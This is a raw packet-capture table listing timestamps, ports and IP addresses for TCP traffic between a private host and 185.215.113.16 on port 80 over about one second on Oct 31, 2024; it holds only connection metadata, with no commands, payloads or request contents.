Oct 31, 2024 05:07:11.533416986 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533426046 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533447981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533483982 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533536911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533577919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533596992 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533607960 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533629894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533641100 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533641100 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533652067 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533668995 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533699989 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533713102 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533723116 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533734083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533745050 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533747911 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533793926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533804893 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533814907 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533816099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.533829927 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.533859015 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650614023 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650641918 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650680065 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650685072 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650697947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650711060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650723934 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650723934 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650737047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650753975 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650772095 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650785923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650799990 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650809050 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650813103 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650825977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650835037 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650844097 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650847912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650860071 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650876045 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650876999 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650891066 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650901079 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650902987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650918007 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650929928 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650930882 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650944948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650970936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.650980949 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.650993109 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651004076 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651015043 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651015997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651029110 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651041031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651041985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651055098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651067019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651067972 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651087999 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651102066 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651124954 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651135921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651148081 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651155949 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651160002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651171923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651174068 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651195049 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651201963 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651212931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651216984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651220083 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651254892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651294947 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651305914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651324034 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651330948 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651360989 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651400089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651412964 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651423931 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651434898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651444912 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651451111 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651462078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651472092 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651474953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651487112 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651489019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651501894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651504993 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651530981 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651556969 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651568890 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651578903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651588917 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651618958 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651648998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651660919 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651671886 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651681900 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651709080 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651761055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651772022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651783943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651793957 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651820898 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651849031 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651860952 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651871920 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651882887 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651896000 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651907921 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651911020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651921988 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651936054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651945114 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651946068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651957989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651959896 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.651972055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.651984930 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.652014017 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.652044058 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652055979 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652067900 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652076006 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.652080059 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652100086 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.652128935 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.652129889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652143002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652153015 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652164936 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.652172089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652182102 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.652184010 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.652209997 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.768598080 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768620014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768697977 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.768752098 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.768850088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768901110 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.768902063 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768913984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768934011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768945932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768949032 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.768959045 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768973112 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.768979073 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.768979073 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.768982887 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769002914 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769036055 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769048929 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769048929 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769061089 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769087076 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769095898 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769109011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769123077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769126892 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769138098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769145012 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769149065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769181967 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769217014 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769222021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769237041 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769257069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769258022 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769270897 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769283056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769299984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769299984 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769320965 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769360065 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769372940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769385099 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769397974 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769407034 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769428968 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769440889 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769454002 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769458055 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769465923 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769479036 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769481897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769500017 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769532919 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769545078 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769592047 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769676924 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769691944 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769702911 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769723892 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769736052 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769738913 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769748926 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769762039 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769762993 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769774914 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769783020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769810915 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769813061 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769824028 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769835949 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769849062 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769851923 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769880056 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769896984 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769901991 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769910097 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769922972 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769946098 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769956112 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769969940 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.769969940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769969940 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.769983053 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770001888 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770026922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770026922 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770029068 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770041943 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770054102 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770073891 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770107985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770107985 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770123959 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770136118 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770169020 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770200968 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770251989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770266056 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770276070 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770303011 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770314932 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770325899 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770328045 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770328045 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770339966 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770354033 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770379066 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770507097 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770560026 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770567894 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770581007 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770592928 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770615101 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770627975 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770642042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770642042 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770644903 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770658016 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770667076 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770668030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.770683050 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770714045 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.770714045 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886609077 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886620998 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886631012 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886667013 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886677027 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886693001 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886709929 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886722088 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886730909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886742115 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886799097 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886822939 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886825085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886825085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886825085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886825085 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886835098 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886847973 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886863947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886863947 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886866093 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886878967 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886885881 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886897087 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886908054 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886918068 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886919022 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886944056 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886960983 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.886986971 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.886997938 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887008905 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887023926 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887042046 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887058020 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887068987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887094021 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887109995 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887120962 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887120962 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887132883 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887142897 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887166023 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887168884 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887202024 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887203932 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887219906 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887233019 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887238026 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887254953 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887274027 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887357950 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887368917 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887382030 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887392998 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887412071 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887429953 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887442112 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887454987 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887465000 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887474060 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887485027 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887494087 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887502909 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887523890 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887526989 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887537956 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887541056 CET	49803	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:11.887551069 CET	80	49803	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:11.887562990 CET	80	49803	185.215.113.16	192.168.2.4
